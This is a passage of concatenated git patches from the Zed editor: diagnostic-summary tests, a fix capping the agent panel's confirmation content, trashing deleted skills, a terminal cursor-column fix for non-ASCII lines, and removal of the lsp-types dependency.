+            project.diagnostic_summary(false, cx),
+            DiagnosticSummary {
+                error_count: 1,
+                warning_count: 0,
+            }
+        );
+    });
+
+    cx.update(|_| {
+        drop(buffer);
+        drop(handle);
+    });
+    cx.executor().run_until_parked();
+
+    project.update(cx, |project, cx| {
+        assert_eq!(
+            project.diagnostic_summary(false, cx),
+            DiagnosticSummary {
+                error_count: 0,
+                warning_count: 0,
+            }
+        );
+    });
+}
+
+#[gpui::test]
+async fn test_diagnostic_summaries_retained_on_buffer_close_with_workspace_diagnostics(
+    cx: &mut gpui::TestAppContext,
+) {
+    init_test(cx);
+
+    let fs = FakeFs::new(cx.executor());
+    fs.insert_tree(path!("/dir"), json!({ "a.rs": "one two three" }))
+        .await;
+
+    let project = Project::test(fs, [path!("/dir").as_ref()], cx).await;
+    let language_registry = project.read_with(cx, |project, _| project.languages().clone());
+    language_registry.add(rust_lang());
+
+    let mut fake_servers = language_registry.register_fake_lsp(
+        "Rust",
+        FakeLspAdapter {
+            capabilities: lsp::ServerCapabilities {
+                diagnostic_provider: Some(lsp::DiagnosticServerCapabilities::Options(
+                    lsp::DiagnosticOptions {
+                        identifier: Some("test-close-ws".to_string()),
+                        inter_file_dependencies: true,
+                        workspace_diagnostics: true,
+                        work_done_progress_options: Default::default(),
+                    },
+                )),
+                ..lsp::ServerCapabilities::default()
+            },
+            initializer: Some(Box::new(move |fake_server| {
+                fake_server.set_request_handler::<lsp::request::DocumentDiagnosticRequest, _, _>(
+                    move |_, _| async move {
+                        Ok(lsp::DocumentDiagnosticReportResult::Report(
+                            lsp::DocumentDiagnosticReport::Full(
+                                lsp::RelatedFullDocumentDiagnosticReport {
+                                    related_documents: None,
+                                    full_document_diagnostic_report:
+                                        lsp::FullDocumentDiagnosticReport {
+                                            result_id: None,
+                                            items: vec![lsp::Diagnostic {
+                                                range: lsp::Range::new(
+                                                    lsp::Position::new(0, 0),
+                                                    lsp::Position::new(0, 3),
+                                                ),
+                                                severity: Some(lsp::DiagnosticSeverity::ERROR),
+                                                message: "pulled error ws".to_string(),
+                                                ..Default::default()
+                                            }],
+                                        },
+                                },
+                            ),
+                        ))
+                    },
+                );
+                fake_server.set_request_handler::<lsp::request::WorkspaceDiagnosticRequest, _, _>(
+                    move |_, _| async move {
+                        Ok(lsp::WorkspaceDiagnosticReportResult::Report(
+                            lsp::WorkspaceDiagnosticReport { items: Vec::new() },
+                        ))
+                    },
+                );
+            })),
+            ..FakeLspAdapter::default()
+        },
+    );
+
+    let (buffer, handle) = project
+        .update(cx, |project, cx| {
+            project.open_local_buffer_with_lsp(path!("/dir/a.rs"), cx)
+        })
+        .await
+        .unwrap();
+
+    let _fake_server = fake_servers.next().await.unwrap();
+    cx.executor().run_until_parked();
+
+    let lsp_store = project.read_with(cx, |project, _| project.lsp_store());
+    lsp_store.update(cx, |lsp_store, cx| {
+        lsp_store
+            .pull_diagnostics_for_buffer(buffer.clone(), cx)
+            .detach();
+    });
+    cx.executor().run_until_parked();
+
+    project.update(cx, |project, cx| {
+        assert_eq!(
+            project.diagnostic_summary(false, cx),
+            DiagnosticSummary {
+                error_count: 1,
+                warning_count: 0,
+            }
+        );
+    });
+
+    cx.update(|_| {
+        drop(buffer);
+        drop(handle);
+    });
+    cx.executor().run_until_parked();
+
+    project.update(cx, |project, cx| {
+        assert_eq!(
+            project.diagnostic_summary(false, cx),
+            DiagnosticSummary {
+                error_count: 1,
+                warning_count: 0,
+            }
+        );
+    });
+}
+
 #[gpui::test]
 async fn test_edits_from_lsp2_with_past_version(cx: &mut gpui::TestAppContext) {
     init_test(cx);

From fa2c3794d0253ec3c43628dbfefbe9a7aa7b32c0 Mon Sep 17 00:00:00 2001
From: Remco Smits <djsmits12@gmail.com>
Date: Wed, 15 Jul 2026 10:47:22 +0200
Subject: [PATCH 474/772] agent_panel: Fix that the `awaiting confirmation`
 content does cover the hole agent panel (#60992)

# Objective

Currently the sticky `awaiting confirmation` content can grow as big as
the agent panel can go as you can see inside the before picture, that
shows that the full agent panel is coverd by the cofirmation content.
Which is not something we want, because there is no way to see the
actual thread anymore.

**Note**: There was already a fix for this according to this comment but
I could not end up inside that case where it would limit the content.
```
// Cap the content (e.g. a full plan awaiting
// approval) so the floating row can never
// consume the entire panel and squeeze the
// conversation list to zero height, while the
// permission buttons below stay visible.
```

## Solution

The fix is to actually limit the content to a max height of
160px(10rem), which is the value that it was before, but that didn't
work. So I made sure the tool output is now scrollable and it's height
is limited to the specified limit described earlier.

## Testing

You can ask if the agent wants to executes this command, that is just a
very long non existing url. Note, you need to have not auto accept of
permissions enabled to test this bug.

```
curl -sS -v --max-time 15 "https://this-domain-almost-certainly-does-not-exist-abcdefghijklmnopqrstuvwxyz-0123456789-super-duper-extra-long-subdomain-that-nobody-would-ever-register.another-ridiculously-long-and-completely-fake-nonexistent-host-name-9876543210.invalid/api/v1/resources/collections/items/subitems/segment01/segment02/segment03/segment04/segment05/segment06/segment07/segment08/segment09/segment10/segment11/segment12/segment13/segment14/segment15/segment16/segment17/segment18/segment19/segment20/segment21/segment22/segment23/segment24/segment25/segment26/segment27/segment28/segment29/segment30/segment31/segment32/segment33/segment34/segment35/segment36/segment37/segment38/segment39/segment40/segment41/segment42/segment43/segment44/segment45/segment46/segment47/segment48/segment49/segment50/segment51/segment52/segment53/segment54/segment55/segment56/segment57/segment58/segment59/segment60/segment61/segment62/segment63/segment64/segment65/segment66/segment67/segment68/segment69/segment70/segment71/segment72/segment73/segment74/segment75/segment76/segment77/segment78/segment79/segment80/segment81/segment82/segment83/segment84/segment85/segment86/segment87/segment88/segment89/segment90/segment91/segment92/segment93/segment94/segment95/segment96/segment97/segment98/segment99/segment100?param01=value01&param02=value02&param03=value03&param04=value04&param05=value05&param06=value06&param07=value07&param08=value08&param09=value09&param10=value10&param11=value11&param12=value12&param13=value13&param14=value14&param15=value15&param16=value16&param17=value17&param18=value18&param19=value19&param20=value20&param21=value21&param22=value22&param23=value23&param24=value24&param25=value25&param26=value26&param27=value27&param28=value28&param29=value29&param30=value30&param31=value31&param32=value32&param33=value33&param34=value34&param35=value35&param36=value36&param37=value37&param38=value38&param39=value39&param40=value40&param41=value41&param42=value42&param43=value43&param44=value44&param45=value45&param46=value46&param47=value47&param48=value48&param49=value49&param50=value50&the=end"
```

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase

**Before** (**Note** the panel is fully coverd by the confirmation
content)

<img width="528" height="817" alt="Screenshot 2026-07-14 at 19 17 53"
src="https://github.com/user-attachments/assets/db0a6b87-2564-4831-9a26-384896ccaefe"
/>


**After** (**Note** the confirmation text is now scrollable again and it
does not cover the full panel anymore)


https://github.com/user-attachments/assets/6c391509-755b-4727-b473-58c21603c4ec

---

Release Notes:

- Agent Panel: Fixed that the sticky `awaiting confirmation` content
could take up the hole agent panel
---
 .../src/conversation_view/thread_view.rs      | 123 +++++++++---------
 1 file changed, 61 insertions(+), 62 deletions(-)

diff --git a/crates/agent_ui/src/conversation_view/thread_view.rs b/crates/agent_ui/src/conversation_view/thread_view.rs
index b05bb2d13ab28d..0979b9e26bf06a 100644
--- a/crates/agent_ui/src/conversation_view/thread_view.rs
+++ b/crates/agent_ui/src/conversation_view/thread_view.rs
@@ -8057,7 +8057,7 @@ impl ThreadView {
 
         let tool_output_display = if is_open {
             match &tool_call.status {
-                ToolCallStatus::WaitingForConfirmation { options, .. } => {
+                ToolCallStatus::WaitingForConfirmation { .. } => {
                     let confirmation_content = v_flex()
                         .w_full()
                         .children(tool_call.content.iter().enumerate().map(
@@ -8167,37 +8167,7 @@ impl ThreadView {
                             )
                         });
 
-                    v_flex()
-                        .w_full()
-                        .map(|this| {
-                            if layout == ToolCallLayout::Floating {
-                                // Cap the content (e.g. a full plan awaiting
-                                // approval) so the floating row can never
-                                // consume the entire panel and squeeze the
-                                // conversation list to zero height, while the
-                                // permission buttons below stay visible.
-                                this.child(
-                                    div()
-                                        .id(("floating-confirmation-content", entry_ix))
-                                        .max_h_40()
-                                        .overflow_y_scroll()
-                                        .child(confirmation_content),
-                                )
-                            } else {
-                                this.child(confirmation_content)
-                            }
-                        })
-                        .child(self.render_permission_buttons(
-                            self.thread.read(cx).session_id().clone(),
-                            self.is_first_tool_call(active_session_id, &tool_call.id, cx),
-                            options,
-                            entry_ix,
-                            tool_call.id.clone(),
-                            focus_handle,
-                            self.sandbox_confusables_block_allow(tool_call, cx),
-                            cx,
-                        ))
-                        .into_any()
+                    confirmation_content.into_any()
                 }
                 ToolCallStatus::Pending | ToolCallStatus::InProgress
                     if is_edit
@@ -8295,35 +8265,23 @@ impl ThreadView {
             None
         };
 
-        v_flex()
-            .map(|this| {
-                if matches!(
-                    layout,
-                    ToolCallLayout::Embedded | ToolCallLayout::Floating
-                ) {
-                    this
-                } else if use_card_layout {
-                    this.my_1p5()
-                        .rounded_md()
-                        .border_1()
-                        .when(failed_or_canceled, |this| this.border_dashed())
-                        .border_color(self.tool_card_border_color(cx))
-                        .bg(cx.theme().colors().editor_background)
-                        .overflow_hidden()
-                } else {
-                    this.my_1()
-                }
-            })
-            .when(layout == ToolCallLayout::Standalone, |this| {
-                this.map(|this| {
-                    if has_location && !use_card_layout {
-                        this.ml_4()
-                    } else {
-                        this.ml_5()
-                    }
-                })
-                .mr_5()
-            })
+        let permission_buttons =
+            if let ToolCallStatus::WaitingForConfirmation { options, .. } = &tool_call.status {
+                Some(self.render_permission_buttons(
+                    self.thread.read(cx).session_id().clone(),
+                    self.is_first_tool_call(active_session_id, &tool_call.id, cx),
+                    options,
+                    entry_ix,
+                    tool_call.id.clone(),
+                    focus_handle,
+                    self.sandbox_confusables_block_allow(tool_call, cx),
+                    cx,
+                ))
+            } else {
+                None
+            };
+
+        let body = v_flex()
             .map(|this| {
                 if is_terminal_tool {
                     this.child(self.render_collapsible_command(
@@ -8498,7 +8456,48 @@ impl ThreadView {
                     )
                 }
             })
-            .children(tool_output_display)
+            .children(tool_output_display);
+
+        v_flex()
+            .map(|this| {
+                if matches!(layout, ToolCallLayout::Embedded | ToolCallLayout::Floating) {
+                    this
+                } else if use_card_layout {
+                    this.my_1p5()
+                        .rounded_md()
+                        .border_1()
+                        .when(failed_or_canceled, |this| this.border_dashed())
+                        .border_color(self.tool_card_border_color(cx))
+                        .bg(cx.theme().colors().editor_background)
+                        .overflow_hidden()
+                } else {
+                    this.my_1()
+                }
+            })
+            .when(layout == ToolCallLayout::Standalone, |this| {
+                this.map(|this| {
+                    if has_location && !use_card_layout {
+                        this.ml_4()
+                    } else {
+                        this.ml_5()
+                    }
+                })
+                .mr_5()
+            })
+            .map(|this| {
+                if layout == ToolCallLayout::Floating {
+                    this.child(
+                        div()
+                            .id(("floating-tool-call-body", entry_ix))
+                            .max_h_40()
+                            .overflow_y_scroll()
+                            .child(body),
+                    )
+                } else {
+                    this.child(body)
+                }
+            })
+            .children(permission_buttons)
     }
 
     /// A small "Learn more" link to the sandboxing docs, deep-linked to

From 9eb5fa98f1dcb709585457eeedd1562c37ebb468 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Wed, 15 Jul 2026 14:34:28 +0530
Subject: [PATCH 475/772] settings_ui: Move deleted skills to trash instead of
 permanently deleting (#61031)

Deleting a skill from the settings UI permanently removed its directory
from `~/.agents/skills`, which is shared with other tools that read the
same unified skills directory. Now we move it to the system trash
instead so it's recoverable.

Release Notes:

- Deleting a skill now moves it to the system trash instead of
permanently deleting it.
---
 crates/settings_ui/src/pages/skills_setup.rs | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/crates/settings_ui/src/pages/skills_setup.rs b/crates/settings_ui/src/pages/skills_setup.rs
index 837f044bede5f5..bf450c76c2f243 100644
--- a/crates/settings_ui/src/pages/skills_setup.rs
+++ b/crates/settings_ui/src/pages/skills_setup.rs
@@ -227,8 +227,8 @@ fn render_skill_row(
                             let app_state = workspace::AppState::global(cx);
                             let fs = app_state.fs.clone();
                             cx.spawn(async move |settings_window, cx| {
-                                let remove_result = fs
-                                    .remove_dir(
+                                let trash_result = fs
+                                    .trash(
                                         &directory_path,
                                         RemoveOptions {
                                             recursive: true,
@@ -236,9 +236,9 @@ fn render_skill_row(
                                         },
                                     )
                                     .await;
-                                if let Err(error) = remove_result {
+                                if let Err(error) = trash_result {
                                     log::error!(
-                                        "failed to delete skill directory {}: {error:#}",
+                                        "failed to move skill directory {} to trash: {error:#}",
                                         directory_path.display()
                                     );
                                     settings_window

From 3565c49dad884e8437b86a1b1beaa76bfac67fc3 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Wed, 15 Jul 2026 15:35:32 +0530
Subject: [PATCH 476/772] terminal_view: Fix cursor column for non-ASCII lines
 when opening path-like targets (#61036)

Found this while looking into a markdown preview issue. Clicking a
`path:row:column` target in the terminal treated the column as a byte
offset, so on lines with non-ASCII characters the cursor landed at mid
codepoint.

The real fix is just 3 lines and the rest is a refactor that extracts
the open and navigate logic so it can be reused later for cases like
markdown preview.

Release Notes:

- Fixed the cursor landing at the wrong column when clicking a
`path:row:column` link in the terminal for lines containing non-ASCII
characters.
---
 crates/editor/src/items.rs                    | 130 +++++++++++++++++-
 .../src/terminal_path_like_target.rs          |  65 +--------
 2 files changed, 133 insertions(+), 62 deletions(-)

diff --git a/crates/editor/src/items.rs b/crates/editor/src/items.rs
index 2bc890ed9724d9..cb2b16a48dcc71 100644
--- a/crates/editor/src/items.rs
+++ b/crates/editor/src/items.rs
@@ -43,7 +43,7 @@ use std::{
 };
 use text::{BufferId, BufferSnapshot, OffsetRangeExt, Selection, ToPoint as _};
 use ui::{IconDecorationKind, prelude::*};
-use util::{ResultExt, TryFutureExt, paths::PathExt, rel_path::RelPath};
+use util::{ResultExt, TryFutureExt, debug_panic, paths::PathExt, rel_path::RelPath};
 use workspace::item::{Dedup, ItemSettings, SerializableItem, TabContentParams};
 use workspace::{
     CollaboratorId, ItemId, ItemNavHistory, ToolbarItemLocation, ViewId, Workspace, WorkspaceId,
@@ -2100,6 +2100,75 @@ pub fn active_match_index(
     }
 }
 
+/// Opens a path-like target (e.g. `items.rs:100:5`) in the workspace, moving the cursor
+/// to the one-based row/column if present. Returns whether the target was opened.
+pub async fn open_resolved_target(
+    workspace: &WeakEntity<Workspace>,
+    open_target: &workspace::path_link::OpenTarget,
+    cx: &mut AsyncWindowContext,
+) -> Result<bool> {
+    let path_to_open = open_target.path();
+    let mut opened_items = workspace
+        .update_in(cx, |workspace, window, cx| {
+            workspace.open_paths(
+                vec![path_to_open.path.clone()],
+                workspace::OpenOptions {
+                    visible: Some(workspace::OpenVisible::OnlyDirectories),
+                    ..Default::default()
+                },
+                None,
+                window,
+                cx,
+            )
+        })
+        .context("workspace update")?
+        .await;
+    if opened_items.len() != 1 {
+        debug_panic!(
+            "Received {} items for one path {path_to_open:?}",
+            opened_items.len(),
+        );
+    }
+    let Some(opened_item) = opened_items.pop() else {
+        return Ok(false);
+    };
+
+    if open_target.is_file() {
+        let Some(opened_item) = opened_item else {
+            return Ok(false);
+        };
+        let opened_item =
+            opened_item.with_context(|| format!("opening {:?}", path_to_open.path))?;
+        if let Some(row) = path_to_open.row
+            && let Some(editor) = opened_item.downcast::<Editor>()
+        {
+            let column = path_to_open.column.unwrap_or(0);
+            editor
+                .downgrade()
+                .update_in(cx, |editor, window, cx| {
+                    if let Some(buffer) = editor.buffer().read(cx).as_singleton() {
+                        let point = buffer.read(cx).snapshot().point_from_external_input(
+                            row.saturating_sub(1),
+                            column.saturating_sub(1),
+                        );
+                        editor.go_to_singleton_buffer_point(point, window, cx);
+                    }
+                })
+                .log_err();
+        }
+        Ok(true)
+    } else if open_target.is_dir() {
+        workspace.update(cx, |workspace, cx| {
+            workspace.project().update(cx, |_, cx| {
+                cx.emit(project::Event::ActivateProjectPanel);
+            })
+        })?;
+        Ok(true)
+    } else {
+        Ok(false)
+    }
+}
+
 pub fn entry_label_color(selected: bool) -> Color {
     if selected {
         Color::Default
@@ -2396,7 +2465,8 @@ mod tests {
     use project::FakeFs;
     use serde_json::json;
     use std::path::{Path, PathBuf};
-    use util::{path, rel_path::RelPath};
+    use util::{path, paths::PathWithPosition, rel_path::RelPath};
+    use workspace::path_link::{OpenTarget, OpenTargetFoundBy};
 
     #[gpui::test]
     fn test_path_for_file(cx: &mut App) {
@@ -3038,6 +3108,62 @@ mod tests {
         );
     }
 
+    #[gpui::test]
+    async fn test_open_resolved_target_at_non_ascii_column(cx: &mut gpui::TestAppContext) {
+        init_test(cx, |_| {});
+
+        let fs = FakeFs::new(cx.executor());
+        fs.insert_tree(
+            path!("/root"),
+            json!({
+                "src": {
+                    "main.rs": "first\naéøbc\n",
+                },
+            }),
+        )
+        .await;
+
+        let project = Project::test(fs.clone(), [path!("/root").as_ref()], cx).await;
+        let (multi_workspace, cx) =
+            cx.add_window_view(|window, cx| MultiWorkspace::test_new(project.clone(), window, cx));
+        let workspace = multi_workspace.read_with(cx, |mw, _| mw.workspace().clone());
+
+        let open_target = OpenTarget::Path(
+            PathWithPosition {
+                path: PathBuf::from(path!("/root/src/main.rs")),
+                row: Some(2),
+                column: Some(4),
+            },
+            false,
+            OpenTargetFoundBy::BackgroundPathResolution,
+        );
+
+        let opened = workspace
+            .update_in(cx, |_, window, cx| {
+                cx.spawn_in(window, async move |workspace, cx| {
+                    open_resolved_target(&workspace, &open_target, cx).await
+                })
+            })
+            .await
+            .expect("opening the target should succeed");
+        assert!(opened, "target should open as a file");
+
+        let editor = workspace.read_with(cx, |workspace, cx| {
+            workspace
+                .active_item(cx)
+                .and_then(|item| item.act_as::<Editor>(cx))
+                .expect("active item should be an editor")
+        });
+        let cursor = editor.update_in(cx, |editor, _, cx| {
+            editor
+                .selections
+                .newest::<language::Point>(&editor.display_snapshot(cx))
+                .head()
+        });
+        // Column 4 is the fourth character of `aéøbc` (the `b`), which starts at byte 5.
+        assert_eq!(cursor, language::Point::new(1, 5));
+    }
+
     #[gpui::test]
     fn test_compute_modified_ranges_git_diff(cx: &mut gpui::TestAppContext) {
         let base_text = "line0\nline1\nline2\nline3\nline4\nline5\nline6\n";
diff --git a/crates/terminal_view/src/terminal_path_like_target.rs b/crates/terminal_view/src/terminal_path_like_target.rs
index ac06721600498d..79db03e2bbcf02 100644
--- a/crates/terminal_view/src/terminal_path_like_target.rs
+++ b/crates/terminal_view/src/terminal_path_like_target.rs
@@ -1,17 +1,16 @@
 use super::{HoverTarget, HoveredWord, TerminalView};
-use anyhow::{Context as _, Result};
-use editor::Editor;
+use anyhow::Result;
+use editor::items::open_resolved_target;
 use gpui::{Context, Task, TaskExt, WeakEntity, Window};
 use std::path::PathBuf;
 use terminal::PathLikeTarget;
-use util::{ResultExt, debug_panic};
 #[cfg(not(test))]
 use workspace::path_link::possible_open_target;
 #[cfg(test)]
 use workspace::path_link::{
     BackgroundPathChecks, OpenTargetFoundBy, possible_open_target_with_fs_checks,
 };
-use workspace::{OpenOptions, OpenVisible, Workspace, path_link::OpenTarget};
+use workspace::{Workspace, path_link::OpenTarget};
 
 pub(super) fn hover_path_like_target(
     workspace: &WeakEntity<Workspace>,
@@ -143,62 +142,8 @@ fn possibly_open_target(
             return Ok(None);
         };
 
-        let path_to_open = open_target.path();
-        let opened_items = workspace
-            .update_in(cx, |workspace, window, cx| {
-                workspace.open_paths(
-                    vec![path_to_open.path.clone()],
-                    OpenOptions {
-                        visible: Some(OpenVisible::OnlyDirectories),
-                        ..Default::default()
-                    },
-                    None,
-                    window,
-                    cx,
-                )
-            })
-            .context("workspace update")?
-            .await;
-        if opened_items.len() != 1 {
-            debug_panic!(
-                "Received {} items for one path {path_to_open:?}",
-                opened_items.len(),
-            );
-        }
-
-        if let Some(opened_item) = opened_items.first() {
-            if open_target.is_file() {
-                if let Some(Ok(opened_item)) = opened_item {
-                    if let Some(row) = path_to_open.row {
-                        let col = path_to_open.column.unwrap_or(0);
-                        if let Some(active_editor) = opened_item.downcast::<Editor>() {
-                            active_editor
-                                .downgrade()
-                                .update_in(cx, |editor, window, cx| {
-                                    editor.go_to_singleton_buffer_point(
-                                        language::Point::new(
-                                            row.saturating_sub(1),
-                                            col.saturating_sub(1),
-                                        ),
-                                        window,
-                                        cx,
-                                    )
-                                })
-                                .log_err();
-                        }
-                    }
-                    return Ok(Some(open_target));
-                }
-            } else if open_target.is_dir() {
-                workspace.update(cx, |workspace, cx| {
-                    workspace.project().update(cx, |_, cx| {
-                        cx.emit(project::Event::ActivateProjectPanel);
-                    })
-                })?;
-                return Ok(Some(open_target));
-            }
-        }
-        Ok(None)
+        let opened = open_resolved_target(&workspace, &open_target, cx).await?;
+        Ok(opened.then_some(open_target))
     })
 }
 

From 0bfd2d7cf046e2ec5bc53e3496b35debb228b971 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Wed, 15 Jul 2026 12:46:01 +0200
Subject: [PATCH 477/772] language_core: Remove lsp-types dependency (#61041)

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.lock                                    |  1 -
 crates/language/src/diagnostic.rs             | 77 +++++++++++++++-
 crates/language/src/language.rs               | 87 +++++++++++++++++--
 crates/language_core/Cargo.toml               |  1 -
 crates/language_core/src/code_label.rs        | 66 +++++++++++++-
 crates/language_core/src/diagnostic.rs        | 76 ----------------
 crates/language_core/src/language_core.rs     |  8 +-
 crates/language_core/src/lsp_adapter.rs       | 17 ----
 .../src/extension_lsp_adapter.rs              | 57 ++++++------
 crates/languages/src/c.rs                     | 14 +--
 crates/languages/src/go.rs                    | 14 +--
 crates/languages/src/python.rs                |  6 +-
 crates/languages/src/rust.rs                  | 26 +++---
 crates/project/src/lsp_command.rs             | 15 ++--
 crates/project/src/lsp_store.rs               | 16 ++--
 .../project/src/lsp_store/document_symbols.rs |  3 +-
 crates/project/src/project.rs                 |  4 +-
 17 files changed, 301 insertions(+), 187 deletions(-)
 delete mode 100644 crates/language_core/src/diagnostic.rs

diff --git a/Cargo.lock b/Cargo.lock
index a3cc7323822074..6293cb2a21721a 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -9755,7 +9755,6 @@ dependencies = [
  "gpui_shared_string",
  "gpui_util",
  "log",
- "lsp-types",
  "parking_lot",
  "path",
  "regex",
diff --git a/crates/language/src/diagnostic.rs b/crates/language/src/diagnostic.rs
index 951feec0da1858..9a468a14b863a9 100644
--- a/crates/language/src/diagnostic.rs
+++ b/crates/language/src/diagnostic.rs
@@ -1 +1,76 @@
-pub use language_core::diagnostic::{Diagnostic, DiagnosticSourceKind};
+use gpui::SharedString;
+use lsp::{DiagnosticSeverity, NumberOrString};
+use serde::{Deserialize, Serialize};
+use serde_json::Value;
+
+/// A diagnostic associated with a certain range of a buffer.
+#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)]
+pub struct Diagnostic {
+    /// The name of the service that produced this diagnostic.
+    pub source: Option<String>,
+    /// The ID provided by the dynamic registration that produced this diagnostic.
+    pub registration_id: Option<SharedString>,
+    /// A machine-readable code that identifies this diagnostic.
+    pub code: Option<NumberOrString>,
+    pub code_description: Option<lsp::Uri>,
+    /// Whether this diagnostic is a hint, warning, or error.
+    pub severity: DiagnosticSeverity,
+    /// The human-readable message associated with this diagnostic.
+    pub message: String,
+    /// The human-readable message (in markdown format)
+    pub markdown: Option<String>,
+    /// An id that identifies the group to which this diagnostic belongs.
+    ///
+    /// When a language server produces a diagnostic with
+    /// one or more associated diagnostics, those diagnostics are all
+    /// assigned a single group ID.
+    pub group_id: usize,
+    /// Whether this diagnostic is the primary diagnostic for its group.
+    ///
+    /// In a given group, the primary diagnostic is the top-level diagnostic
+    /// returned by the language server. The non-primary diagnostics are the
+    /// associated diagnostics.
+    pub is_primary: bool,
+    /// Whether this diagnostic is considered to originate from an analysis of
+    /// files on disk, as opposed to any unsaved buffer contents. This is a
+    /// property of a given diagnostic source, and is configured for a given
+    /// language server via the `LspAdapter::disk_based_diagnostic_sources` method
+    /// for the language server.
+    pub is_disk_based: bool,
+    /// Whether this diagnostic marks unnecessary code.
+    pub is_unnecessary: bool,
+    /// Quick separation of diagnostics groups based by their source.
+    pub source_kind: DiagnosticSourceKind,
+    /// Data from language server that produced this diagnostic. Passed back to the LS when we request code actions for this diagnostic.
+    pub data: Option<Value>,
+    /// Whether to underline the corresponding text range in the editor.
+    pub underline: bool,
+}
+
+#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
+pub enum DiagnosticSourceKind {
+    Pulled,
+    Pushed,
+    Other,
+}
+
+impl Default for Diagnostic {
+    fn default() -> Self {
+        Self {
+            source: Default::default(),
+            source_kind: DiagnosticSourceKind::Other,
+            code: None,
+            code_description: None,
+            severity: DiagnosticSeverity::ERROR,
+            message: Default::default(),
+            markdown: None,
+            group_id: 0,
+            is_primary: false,
+            is_disk_based: false,
+            is_unnecessary: false,
+            underline: true,
+            data: None,
+            registration_id: None,
+        }
+    }
+}
diff --git a/crates/language/src/language.rs b/crates/language/src/language.rs
index b9f87265c0cbbe..9a031347ec0422 100644
--- a/crates/language/src/language.rs
+++ b/crates/language/src/language.rs
@@ -39,7 +39,10 @@ use futures::lock::OwnedMutexGuard;
 use gpui::{App, AsyncApp, Entity};
 use http_client::HttpClient;
 
-pub use language_core::highlight_map::{HighlightId, HighlightMap};
+pub use language_core::{
+    SymbolKind,
+    highlight_map::{HighlightId, HighlightMap},
+};
 
 use futures::future::FutureExt as _;
 pub use language_core::{
@@ -48,10 +51,10 @@ pub use language_core::{
     DecreaseIndentConfig, Grammar, GrammarId, HighlightsConfig, IndentConfig, InjectionConfig,
     InjectionPatternConfig, JsxTagAutoCloseConfig, LanguageConfig, LanguageConfigOverride,
     LanguageId, LanguageMatcher, OrderedListConfig, OutlineConfig, Override, OverrideConfig,
-    OverrideEntry, PromptResponseContext, RedactionConfig, RunnableCapture, RunnableConfig,
-    SoftWrap, Symbol, TaskListConfig, TextObject, TextObjectConfig, ToLspPosition,
-    WrapCharactersConfig, default_true, deserialize_regex, deserialize_regex_vec,
-    regex_json_schema, regex_vec_json_schema, serialize_regex,
+    OverrideEntry, RedactionConfig, RunnableCapture, RunnableConfig, SoftWrap, Symbol,
+    TaskListConfig, TextObject, TextObjectConfig, WrapCharactersConfig, default_true,
+    deserialize_regex, deserialize_regex_vec, regex_json_schema, regex_vec_json_schema,
+    serialize_regex,
 };
 pub use language_registry::{
     LanguageName, LanguageServerStatusUpdate, LoadedLanguage, ServerHealth,
@@ -216,6 +219,69 @@ pub static PLAIN_TEXT: LazyLock<Arc<Language>> = LazyLock::new(|| {
     ))
 });
 
+pub fn symbol_kind_to_lsp(kind: SymbolKind) -> lsp::SymbolKind {
+    match kind {
+        SymbolKind::File => lsp::SymbolKind::FILE,
+        SymbolKind::Module => lsp::SymbolKind::MODULE,
+        SymbolKind::Namespace => lsp::SymbolKind::NAMESPACE,
+        SymbolKind::Package => lsp::SymbolKind::PACKAGE,
+        SymbolKind::Class => lsp::SymbolKind::CLASS,
+        SymbolKind::Method => lsp::SymbolKind::METHOD,
+        SymbolKind::Property => lsp::SymbolKind::PROPERTY,
+        SymbolKind::Field => lsp::SymbolKind::FIELD,
+        SymbolKind::Constructor => lsp::SymbolKind::CONSTRUCTOR,
+        SymbolKind::Enum => lsp::SymbolKind::ENUM,
+        SymbolKind::Interface => lsp::SymbolKind::INTERFACE,
+        SymbolKind::Function => lsp::SymbolKind::FUNCTION,
+        SymbolKind::Variable => lsp::SymbolKind::VARIABLE,
+        SymbolKind::Constant => lsp::SymbolKind::CONSTANT,
+        SymbolKind::String => lsp::SymbolKind::STRING,
+        SymbolKind::Number => lsp::SymbolKind::NUMBER,
+        SymbolKind::Boolean => lsp::SymbolKind::BOOLEAN,
+        SymbolKind::Array => lsp::SymbolKind::ARRAY,
+        SymbolKind::Object => lsp::SymbolKind::OBJECT,
+        SymbolKind::Key => lsp::SymbolKind::KEY,
+        SymbolKind::Null => lsp::SymbolKind::NULL,
+        SymbolKind::EnumMember => lsp::SymbolKind::ENUM_MEMBER,
+        SymbolKind::Struct => lsp::SymbolKind::STRUCT,
+        SymbolKind::Event => lsp::SymbolKind::EVENT,
+        SymbolKind::Operator => lsp::SymbolKind::OPERATOR,
+        SymbolKind::TypeParameter => lsp::SymbolKind::TYPE_PARAMETER,
+    }
+}
+
+pub fn lsp_to_symbol_kind(kind: lsp::SymbolKind) -> SymbolKind {
+    match kind {
+        lsp::SymbolKind::FILE => SymbolKind::File,
+        lsp::SymbolKind::MODULE => SymbolKind::Module,
+        lsp::SymbolKind::NAMESPACE => SymbolKind::Namespace,
+        lsp::SymbolKind::PACKAGE => SymbolKind::Package,
+        lsp::SymbolKind::CLASS => SymbolKind::Class,
+        lsp::SymbolKind::METHOD => SymbolKind::Method,
+        lsp::SymbolKind::PROPERTY => SymbolKind::Property,
+        lsp::SymbolKind::FIELD => SymbolKind::Field,
+        lsp::SymbolKind::CONSTRUCTOR => SymbolKind::Constructor,
+        lsp::SymbolKind::ENUM => SymbolKind::Enum,
+        lsp::SymbolKind::INTERFACE => SymbolKind::Interface,
+        lsp::SymbolKind::FUNCTION => SymbolKind::Function,
+        lsp::SymbolKind::VARIABLE => SymbolKind::Variable,
+        lsp::SymbolKind::CONSTANT => SymbolKind::Constant,
+        lsp::SymbolKind::STRING => SymbolKind::String,
